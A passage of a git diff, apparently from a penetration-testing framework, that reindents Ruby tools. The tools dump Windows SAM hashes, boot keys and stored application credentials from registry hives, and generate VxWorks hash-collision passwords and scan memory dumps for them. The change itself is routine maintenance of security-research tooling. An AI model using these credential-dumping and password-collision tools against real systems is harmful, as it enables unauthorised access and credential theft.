Extract the boot key from the SYSTEM hive + dump_creds Dump the usernames and password hashes of the users from the SAM hive + list_applications List all the applications installed via the SOFTWARE hive + list_drivers List all the devices and their respective drivers and driver versions from SYSTEM hive + get_everything When pointed to a directory with hives, it will run all commands on all available hives + get_aol_instant_messenger_information Get credentials and general information on AOL Instant Messenger users from NTUSER.dat + get_msn_messenger_information Get credentials and general information on MSN Messenger users from NTUSER.dat + get_windows_messenger_information Get credentials and general information on Windows Messenger users from NTUSER.dat + get_icq_information Get credentials and general information on ICQ users from NTUSER.dat + get_ie_information Get stored credentials, typed history, search terms, and general settings from NTUSER.dat + get_outlook_information Gets outlook and outlook express stored credentials and general information from NTUSER.dat + get_yahoo_messenger_information Gets credentials and general information on Yahoo! Messenger users from NTUSER.dat + get_system_information Gets general system administration from both SOFTWARE and SYSTEM hives + get_networking_information Gets networing information from the SAM, SYSTEM, and NTUSER.dat hives + get_user_information Gets general user information from the SYSTEM, SECURITY, SAM, and NTUSER.dat hives + get_user_application_information Gets user-specific application information from the NTUSER.DAT and SOFTWARE hives + } - puts no_args - exit + puts no_args + exit end case ARGV[0] when "query_key" - @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) - puts "Hive name: #{@hive.hive_name}" + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + puts "Hive name: #{@hive.hive_name}" - 1.upto(ARGV.length - 2) do |arg| - selected = @hive.relative_query(ARGV[arg]) - print_all(selected) - end + 1.upto(ARGV.length - 2) do |arg| + selected = @hive.relative_query(ARGV[arg]) + print_all(selected) + end when "query_value" - @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) - puts "Hive name: #{@hive.hive_name}" + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + puts "Hive name: #{@hive.hive_name}" - 1.upto(ARGV.length - 2) do |i| - selected = @hive.value_query(ARGV[i]) + 1.upto(ARGV.length - 2) do |i| + selected = @hive.value_query(ARGV[i]) - if !selected - puts "Value not found." - return - end + if !selected + puts "Value not found." + return + end - puts "Value Name: #{selected.name}" - puts "Value Data: #{selected.value.data.inspect}" - end + puts "Value Name: #{selected.name}" + puts "Value Data: #{selected.value.data.inspect}" + end when "get_boot_key" - @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) - if @hive.hive_name !~ /SYSTEM/ - puts "I need a SYSTEM hive to grab the boot key, not a #{@hive.hive_name}." - else - get_boot_key - end + if @hive.hive_name !~ /SYSTEM/ + puts "I need a SYSTEM hive to grab the boot key, not a #{@hive.hive_name}." + else + get_boot_key + end when "dump_creds" - @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) - if @hive.hive_name !~ /SAM/ - puts "I need a SAM hive, not a #{@hive.hive_name}" - else - dump_creds - end + if @hive.hive_name !~ /SAM/ + puts "I need a SAM hive, not a #{@hive.hive_name}" + else + dump_creds + end when "list_applications" - @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) - if @hive.hive_name !~ /SOFTWARE/ - puts "I need a SOFTWARE hive, not a #{@hive.hive_name}." - else - list_applications - end + if @hive.hive_name !~ /SOFTWARE/ + puts "I need a SOFTWARE hive, not a #{@hive.hive_name}." + else + list_applications + end when "list_drivers" - @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) - if @hive.hive_name !~ /SYSTEM/ - puts "I need a SYSTEM hive, not a #{@hive.hive_name}." - else - list_drivers - end + if @hive.hive_name !~ /SYSTEM/ + puts "I need a SYSTEM hive, not a #{@hive.hive_name}." + else + list_drivers + end when "get_everything" - Dir.foreach(ARGV[1]) do |file| - next if file =~ /^\./ - next if ::File.directory?(ARGV[1] + "/" + file) + Dir.foreach(ARGV[1]) do |file| + next if file =~ /^\./ + next if ::File.directory?(ARGV[1] + "/" + file) - @hive = Rex::Registry::Hive.new(ARGV[1] + "/" + file) + @hive = Rex::Registry::Hive.new(ARGV[1] + "/" + file) - next if !@hive.hive_regf - next if !@hive.hive_name + next if !@hive.hive_regf + next if !@hive.hive_name - case @hive.hive_name + case @hive.hive_name - when /SYSTEM/ + when /SYSTEM/ - puts "Found a SYSTEM hive..." + puts "Found a SYSTEM hive..." - list_drivers - get_boot_key - get_system_information - get_networking_information - get_user_information + list_drivers + get_boot_key + get_system_information + get_networking_information + get_user_information - when /SOFTWARE/ + when /SOFTWARE/ - puts "Found a SOFTWARE hive..." + puts "Found a SOFTWARE hive..." - list_applications - get_icq_information - get_system_information - get_networking_information - get_user_information - get_user_application_information + list_applications + get_icq_information + get_system_information + get_networking_information + get_user_information + get_user_application_information - when /SAM/ + when /SAM/ - puts "Found a SAM hive..." + puts "Found a SAM hive..." - get_networking_information - get_user_information + get_networking_information + get_user_information - when /SECURITY/ + when /SECURITY/ - puts "Found a SECURITY hive..." + puts "Found a SECURITY hive..." - get_user_information + get_user_information - when /NTUSER\.dat/i + when /NTUSER\.dat/i - puts "Found a NTUSER.dat hive..." + puts "Found a NTUSER.dat hive..." - get_aol_instant_messenger_information - get_icq_information - get_ie_information - get_msn_messenger_information - get_outlook_information - get_windows_messenger_information - get_yahoo_messenger_information - get_networking_information - get_user_information - get_user_application_information + get_aol_instant_messenger_information + get_icq_information + get_ie_information + get_msn_messenger_information + get_outlook_information + get_windows_messenger_information + get_yahoo_messenger_information + get_networking_information + get_user_information + get_user_application_information - end + end end when "get_aol_instant_messenger_information" - @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) - if @hive.hive_name !~ /NTUSER\.DAT/i - puts "I need the NTUSER.dat hive, not #{@hive.hive_name}." - else - get_aol_instant_messenger_information - end + if @hive.hive_name !~ /NTUSER\.DAT/i + puts "I need the NTUSER.dat hive, not #{@hive.hive_name}." + else + get_aol_instant_messenger_information + end when "get_icq_information" - @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) - if @hive.hive_name !~ /NTUSER\.dat/i && @hive.hive_name !~ /SOFTWARE/ - puts "I need either a SOFTWARE or NTUSER.dat hive, not #{@hive.hive_name}." - else - get_icq_information - end + if @hive.hive_name !~ /NTUSER\.dat/i && @hive.hive_name !~ /SOFTWARE/ + puts "I need either a SOFTWARE or NTUSER.dat hive, not #{@hive.hive_name}." + else + get_icq_information + end when "get_ie_information" - @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) - if @hive.hive_name !~ /NTUSER\.dat/i - puts "I need an NTUSER.dat hive, not #{@hive.hive_name}." - else - get_ie_information - end + if @hive.hive_name !~ /NTUSER\.dat/i + puts "I need an NTUSER.dat hive, not #{@hive.hive_name}." + else + get_ie_information + end when "get_msn_messenger_information" - @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) - if @hive.hive_name !~ /NTUSER\.dat/i - puts "I need an NTUSER.dat hive, not #{@hive.hive_name}." - else - get_msn_messenger_information - end + if @hive.hive_name !~ /NTUSER\.dat/i + puts "I need an NTUSER.dat hive, not #{@hive.hive_name}." + else + get_msn_messenger_information + end when "get_outlook_information" - @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) - if @hive.hive_name !~ /NTUSER\.dat/i - puts "I need an NTUSER.dat hive, not #{@hive.hive_name}." - else - get_outlook_information - end + if @hive.hive_name !~ /NTUSER\.dat/i + puts "I need an NTUSER.dat hive, not #{@hive.hive_name}." + else + get_outlook_information + end when "get_windows_messenger_information" - @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) - if @hive.hive_name !~ /NTUSER\.dat/i - puts "I need an NTUSER.dat hive, not a #{@hive.hive_name}." - else - get_windows_messenger_information - end + if @hive.hive_name !~ /NTUSER\.dat/i + puts "I need an NTUSER.dat hive, not a #{@hive.hive_name}." + else + get_windows_messenger_information + end when "get_yahoo_messenger_information" - @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) - if @hive.hive_name !~ /NTUSER\.dat/i - puts "I need an NTUSER.dat hive, not a #{@hive.hive_name}." - else - get_yahoo_messenger_information - end + if @hive.hive_name !~ /NTUSER\.dat/i + puts "I need an NTUSER.dat hive, not a #{@hive.hive_name}." + else + get_yahoo_messenger_information + end when "get_system_information" - @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) - if @hive.hive_name !~ /SYSTEM/ && @hive.hive_name !~ /SOFTWARE/ - puts "I need the SYSTEM or SOFTWARE hive, not #{@hive.hive_name}." - else - get_system_information - end + if @hive.hive_name !~ /SYSTEM/ && @hive.hive_name !~ /SOFTWARE/ + puts "I need the SYSTEM or SOFTWARE hive, not #{@hive.hive_name}." + else + get_system_information + end when "get_networking_information" - @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) - if @hive.hive_name !~ /SAM/ && @hive.hive_name !~ /SYSTEM/ && @hive.hive_name !~ /NTUSER\.dat/i - puts "I need either a SAM, SYSTEM, or NTUSER.dat hive, not a #{@hive.hive_name}." - else - get_networking_information - end + if @hive.hive_name !~ /SAM/ && @hive.hive_name !~ /SYSTEM/ && @hive.hive_name !~ /NTUSER\.dat/i + puts "I need either a SAM, SYSTEM, or NTUSER.dat hive, not a #{@hive.hive_name}." + else + get_networking_information + end when "get_user_information" - @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) - if @hive.hive_name !~ /SAM/ - puts "I need a SAM hive. Not a #{@hive.hive_name}." - else - get_user_information - end + if @hive.hive_name !~ /SAM/ + puts "I need a SAM hive. Not a #{@hive.hive_name}." + else + get_user_information + end when "get_user_application_information" - @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) - if @hive.hive_name !~ /NTUSER\.dat/i && @hive.hive_name !~ /SOFTWARE/ - puts "I need either an NTUSER.dat or SOFTWARE hive, not a #{@hive.hive_name}." - else - get_user_application_information - end + if @hive.hive_name !~ /NTUSER\.dat/i && @hive.hive_name !~ /SOFTWARE/ + puts "I need either an NTUSER.dat or SOFTWARE hive, not a #{@hive.hive_name}." + else + get_user_application_information + end else - puts "Sorry invalid command, try with \"help\"" + puts "Sorry invalid command, try with \"help\"" end diff --git a/tools/verify_datastore.rb b/tools/verify_datastore.rb index c315c97903..38ffd6922e 100755 --- a/tools/verify_datastore.rb +++ b/tools/verify_datastore.rb @@ -17,8 +17,8 @@ infile = ARGV[0] unless(infile && File.readable?(infile)) - puts "Usage: #{$0} /path/to/module.rb" - exit(1) + puts "Usage: #{$0} /path/to/module.rb" + exit(1) end verbose = false @@ -42,21 +42,21 @@ unused_datastores = [] # Declared datastore finder mod.each_line do |line| - next if line.match regex[:comment] - datastores = line.scan regex[:datastore] - datastores.each {|ds| referenced_datastores << ds[1]} + next if line.match regex[:comment] + datastores = line.scan regex[:datastore] + datastores.each {|ds| referenced_datastores << ds[1]} end # Referenced datastore finder in_opts = false mod.each_line do |line| - in_opts = true if line.match regex[:opts] - in_opts = false if line.match regex[:opts_end] - next unless in_opts - if line.match regex[:is_opt] - # Assumes only one! - declared_datastores[$2] ||= $1 - end + in_opts = true if line.match regex[:opts] + in_opts = false if line.match regex[:opts_end] + next unless in_opts + if line.match regex[:is_opt] + # Assumes only one! + declared_datastores[$2] ||= $1 + end end # Class and Mixin finder @@ -65,21 +65,21 @@ $class = nil require 'msf/core' # Make sure this is in your path, or else all is for naught. mod.each_line do |line| - if line.match regex[:class] - $class = ObjectSpace.class_eval($1) - elsif line.match regex[:mixin] - mixin = $1 - begin - $mixins << ObjectSpace.module_eval(mixin) - rescue - puts "[-] Error including mixin: #{mixin}" - next - end - end + if line.match regex[:class] + $class = ObjectSpace.class_eval($1) + elsif line.match regex[:mixin] + mixin = $1 + begin + $mixins << ObjectSpace.module_eval(mixin) + rescue + puts "[-] Error including mixin: #{mixin}" + next + end + end end class Fakemod < $class - $mixins.each {|m| include m} + $mixins.each {|m| include m} end fakemod = Fakemod.new inhereted_datastores = fakemod.options.keys @@ -90,25 +90,25 @@ undeclared_datastores = referenced_datastores - (declared_datastores.keys + inhe unused_datastores = declared_datastores.keys - referenced_datastores if verbose - puts "[+] --- Referenced datastore keys for #{infile}" - referenced_datastores.uniq.sort.each {|ds| puts ds} - puts "[+] --- Declared datastore keys for #{infile}" - declared_datastores.keys.sort.each {|opt| puts "%-30s%s" % [opt, declared_datastores[opt]] } + puts "[+] --- Referenced datastore keys for #{infile}" + referenced_datastores.uniq.sort.each {|ds| puts ds} + puts "[+] --- Declared datastore keys for #{infile}" + declared_datastores.keys.sort.each {|opt| puts "%-30s%s" % [opt, declared_datastores[opt]] } end unless undeclared_datastores.empty? - puts "[-] %-60s : fail (undeclared)" % [infile] - puts "[-] The following datastore elements are undeclared" if verbose - undeclared_datastores.uniq.sort.each {|opt| puts " \e[31m#{opt}\e[0m" } + puts "[-] %-60s : fail (undeclared)" % [infile] + puts "[-] The following datastore elements are undeclared" if verbose + undeclared_datastores.uniq.sort.each {|opt| puts " \e[31m#{opt}\e[0m" } end unless unused_datastores.empty? - puts "[*] %-60s : warn (unused)" % [infile] - puts "[*] The following datastore elements are unused" if verbose - unused_datastores.uniq.sort.each {|opt| puts " \e[33m#{opt}\e[0m" } + puts "[*] %-60s : warn (unused)" % [infile] + puts "[*] The following datastore elements are unused" if verbose + unused_datastores.uniq.sort.each {|opt| puts " \e[33m#{opt}\e[0m" } end if undeclared_datastores.empty? && unused_datastores.empty? - puts "[+] %-60s : okay" % [infile] + puts "[+] %-60s : okay" % [infile] end diff --git a/tools/vxdigger.rb b/tools/vxdigger.rb index f5784a8092..ceeb464c2a 100755 --- a/tools/vxdigger.rb +++ b/tools/vxdigger.rb @@ -13,13 +13,13 @@ # def usage - $stderr.puts "usage: #{$0} [dump-file] <master password list>" - exit + $stderr.puts "usage: #{$0} [dump-file] <master password list>" + exit end # Force binary encoding for Ruby versions that support it if(Object.const_defined?('Encoding') and Encoding.respond_to?('default_external=')) - Encoding.default_external = Encoding.default_internal = "binary" + Encoding.default_external = Encoding.default_internal = "binary" end dump = ARGV.shift || usage() @@ -29,11 +29,11 @@ $stderr.puts "[*] Loading master password list..." ohashes = [] hashes = [] File.read(list).split("\n").each do |x| - xid,enc,raw = x.split("|", 3) - xid = xid.to_i - next if raw =~ /invalid/ - raw,tmp = raw.split("\x00") - ohashes << [xid, enc, raw] + xid,enc,raw = x.split("|", 3) + xid = xid.to_i + next if raw =~ /invalid/ + raw,tmp = raw.split("\x00") + ohashes << [xid, enc, raw] end $stderr.puts "[*] Loading memory dump..." @@ -46,19 +46,19 @@ hashes = ohashes tot = hashes.length cur = 0 hashes.each do |r| - x,k,h = r + x,k,h = r - cur += 1 - pct = cur/tot.to_f - pct = (pct * 100).to_i - $stdout.write(" \r[*] Progress: #{pct}% (#{cur}/#{tot})") - $stdout.flush + cur += 1 + pct = cur/tot.to_f + pct = (pct * 100).to_i + $stdout.write(" \r[*] Progress: #{pct}% (#{cur}/#{tot})") + $stdout.flush - next if not data.index(k) - $stdout.write("\n") - $stdout.flush - puts "[+]" - puts "[+] Password hash '#{k}' (##{x}) can be accessed with #{h.unpack("C*").map{|i| "\\x%.2x" % i}} [ '#{h}' ]" - puts "[+]" + next if not data.index(k) + $stdout.write("\n") + $stdout.flush + puts "[+]" + puts "[+] Password hash '#{k}' (##{x}) can be accessed with #{h.unpack("C*").map{|i| "\\x%.2x" % i}} [ '#{h}' ]" + puts "[+]" end diff --git a/tools/vxencrypt.rb b/tools/vxencrypt.rb index 7c8d7d3924..f9d709ee55 100755 --- a/tools/vxencrypt.rb +++ b/tools/vxencrypt.rb @@ -6,25 +6,25 @@ # def hashit(inp) - if inp.length < 8 or inp.length > 120 - raise RuntimeError, "The password must be between 8 and 120 characters" - end - sum = 0 - bytes = inp.unpack("C*") - bytes.each_index {|i| sum += (bytes[i] * (i + 1)) ^ (i + 1) } - hackit(sum) + if inp.length < 8 or inp.length > 120 + raise RuntimeError, "The password must be between 8 and 120 characters" + end + sum = 0 + bytes = inp.unpack("C*") + bytes.each_index {|i| sum += (bytes[i] * (i + 1)) ^ (i + 1) } + hackit(sum) end def hackit(sum) - magic = 31695317 - res = ((sum * magic) & 0xffffffff).to_s - res.unpack("C*").map{ |c| - c += 0x21 if c < 0x33 - c += 0x2f if c < 0x37 - c += 0x42 if c < 0x39 - c - }.pack("C*") + magic = 31695317 + res = ((sum * magic) & 0xffffffff).to_s + res.unpack("C*").map{ |c| + c += 0x21 if c < 0x33 + c += 0x2f if c < 0x37 + c += 0x42 if c < 0x39 + c + }.pack("C*") end input = ARGV.shift || "flintstone" diff --git a/tools/vxmaster.rb b/tools/vxmaster.rb index 396f567dd8..e599b91be0 100755 --- a/tools/vxmaster.rb +++ b/tools/vxmaster.rb @@ -22,90 +22,90 @@ # not very common in the wild. def vxworks_sum_from_pass(pass) - if pass.length < 8 or pass.length > 40 - raise RuntimeError, "too short or too long" - end + if pass.length < 8 or pass.length > 40 + raise RuntimeError, "too short or too long" + end - sum = 0 - bytes = pass.unpack("C*") - bytes.each_index {|i| sum += (bytes[i] * (i + 1)) ^ (i + 1) } - sum + sum = 0 + bytes = pass.unpack("C*") + bytes.each_index {|i| sum += (bytes[i] * (i + 1)) ^ (i + 1) } + sum end # VxWorks does a final round of "mangling" on the generated additive sum. This # mangle process does not add any additional security to the hashing mechanism def vxworks_hash_from_sum(sum) - magic = 31695317 - res = ((sum * magic) & 0xffffffff).to_s - res.unpack("C*").map{ |c| - c += 0x21 if c < 0x33 - c += 0x2f if c < 0x37 - c += 0x42 if c < 0x39 - c - }.pack("C*") + magic = 31695317 + res = ((sum * magic) & 0xffffffff).to_s + res.unpack("C*").map{ |c| + c += 0x21 if c < 0x33 + c += 0x2f if c < 0x37 + c += 0x42 if c < 0x39 + c + }.pack("C*") end # This method tries to find an exact match for a given sum. This is inefficient, # but the master password only needs to be precomputed once. def vxworks_pass_from_sum_refine(sum, bsum, pass) - 0.upto(pass.length-1) do |i| - tpass = pass.dup - while ( tpass[i, 1].unpack("C*")[0] > 0x21 ) - tpass[i, 1] = [ tpass[i, 1].unpack("C*")[0] - 1 ].pack("C") - bsum = vxworks_sum_from_pass(tpass) - if bsum == sum - return tpass - end - end - end - 0.upto(pass.length-1) do |i| - tpass = pass.dup - while ( tpass[i, 1].unpack("C*")[0] < 0x7c ) - tpass[i, 1] = [ tpass[i, 1].unpack("C*")[0] + 1 ].pack("C") - bsum = vxworks_sum_from_pass(tpass) - if bsum == sum - return tpass - end - end - end - "<failed>" + 0.upto(pass.length-1) do |i| + tpass = pass.dup + while ( tpass[i, 1].unpack("C*")[0] > 0x21 ) + tpass[i, 1] = [ tpass[i, 1].unpack("C*")[0] - 1 ].pack("C") + bsum = vxworks_sum_from_pass(tpass) + if bsum == sum + return tpass + end + end + end + 0.upto(pass.length-1) do |i| + tpass = pass.dup + while ( tpass[i, 1].unpack("C*")[0] < 0x7c ) + tpass[i, 1] = [ tpass[i, 1].unpack("C*")[0] + 1 ].pack("C") + bsum = vxworks_sum_from_pass(tpass) + if bsum == sum + return tpass + end + end + end + "<failed>" end # This method locates a "workalike" password that matches a given # intermediate additive sum value. def vxworks_pass_from_sum(sum, lpass=nil) - opass = lpass || "\x20" * 8 - pass = opass.dup - fmax = (sum > 10000) ? 0xff : 0x7b - pidx = 0 - pcnt = pass[0,1].unpack("C*")[0] - more = false + opass = lpass || "\x20" * 8 + pass = opass.dup + fmax = (sum > 10000) ? 0xff : 0x7b + pidx = 0 + pcnt = pass[0,1].unpack("C*")[0] + more = false - bsum = vxworks_sum_from_pass(pass) - if bsum > sum - return "<invalid>" - end + bsum = vxworks_sum_from_pass(pass) + if bsum > sum + return "<invalid>" + end - while bsum != sum + while bsum != sum - if bsum > sum - return vxworks_pass_from_sum_refine(sum, bsum, pass) - end + if bsum > sum + return vxworks_pass_from_sum_refine(sum, bsum, pass) + end - if pcnt > fmax - pidx += 1 + if pcnt > fmax + pidx += 1 - if pidx == (pass.length) - pass += " " - end - pcnt = pass[pidx, 1].unpack("C")[0] - end + if pidx == (pass.length) + pass += " " + end + pcnt = pass[pidx, 1].unpack("C")[0] + end - pass[pidx,1] = [ pcnt ].pack("C") - bsum = vxworks_sum_from_pass(pass) - pcnt += 1 - end - pass + pass[pidx,1] = [ pcnt ].pack("C") + bsum = vxworks_sum_from_pass(pass) + pcnt += 1 + end + pass end outputfile = ARGV.shift() || "masterpasswords.txt" @@ -121,83 +121,83 @@ seedsets = [] seeds = [] 8.upto(8) do |slen| - 0x23.upto(0x7c) do |cset| - sbase = [cset].pack("C") * slen - seeds << [ vxworks_sum_from_pass(sbase), sbase ] - end + 0x23.upto(0x7c) do |cset| + sbase = [cset].pack("C") * slen + seeds << [ vxworks_sum_from_pass(sbase), sbase ] + end end seedsets << seeds seeds = [] 8.upto(12) do |slen| - 0x23.upto(0x7c) do |cset| - sbase = [cset].pack("C") * slen - seeds << [ vxworks_sum_from_pass(sbase), sbase ] - end + 0x23.upto(0x7c) do |cset| + sbase = [cset].pack("C") * slen + seeds << [ vxworks_sum_from_pass(sbase), sbase ] + end end seedsets << seeds seeds = [] 8.upto(16) do |slen| - 0x23.upto(0xf0) do |cset| - sbase = [cset].pack("C") * slen - seeds << [ vxworks_sum_from_pass(sbase), sbase ] - end + 0x23.upto(0xf0) do |cset| + sbase = [cset].pack("C") * slen + seeds << [ vxworks_sum_from_pass(sbase), sbase ] + end end seedsets << seeds seeds = [] 8.upto(16) do |slen| - 0x23.upto(0xff) do |cset| - sbase = [cset].pack("C") * slen - seeds << [ vxworks_sum_from_pass(sbase), sbase ] - end + 0x23.upto(0xff) do |cset| + sbase = [cset].pack("C") * slen + seeds << [ vxworks_sum_from_pass(sbase), sbase ] + end end seedsets << seeds seeds = [] 8.upto(40) do |slen| - 0x23.upto(0xff) do |cset| - sbase = [cset].pack("C") * slen - seeds << [ vxworks_sum_from_pass(sbase), sbase ] - end + 0x23.upto(0xff) do |cset| + sbase = [cset].pack("C") * slen + seeds << [ vxworks_sum_from_pass(sbase), sbase ] + end end seedsets << seeds # Calculate passwords and their hashes for all possible outputs 1.upto(209656) do |i| - found = false - seedsets.each do |seeds| - lhash = nil - seeds.reverse.each do |s| - if i > (s[0] + 1000) - lhash = s[1] - break - end - end + found = false + seedsets.each do |seeds| + lhash = nil + seeds.reverse.each do |s| + if i > (s[0] + 1000) + lhash = s[1] + break + end + end - hash = vxworks_hash_from_sum(i) - pass = vxworks_pass_from_sum(i, lhash) + hash = vxworks_hash_from_sum(i) + pass = vxworks_pass_from_sum(i, lhash) - puts "[*] Generated #{i} of 209656 passwords..." if (i % 1000 == 0) - # The first 1187 passwords are not very likely to occur and we skip - # generation. These are "sums" that result in a value lesss than a - # 8 digit password of all spaces. + puts "[*] Generated #{i} of 209656 passwords..." if (i % 1000 == 0) + # The first 1187 passwords are not very likely to occur and we skip + # generation. These are "sums" that result in a value lesss than a + # 8 digit password of all spaces. - if i > 1187 and pass =~ /<.*>/ - # p "#{i} SEED '#{lhash}' => '#{hash}' => '#{pass}'" - next - end - ofd.puts "#{i}|#{hash}|#{pass}\x00" - found = true - break - end + if i > 1187 and pass =~ /<.*>/ + # p "#{i} SEED '#{lhash}' => '#{hash}' => '#{pass}'" + next + end + ofd.puts "#{i}|#{hash}|#{pass}\x00" + found = true + break + end - if not found - puts "FAILED TO GENERATE #{i}" - exit(0) - end + if not found + puts "FAILED TO GENERATE #{i}" + exit(0) + end end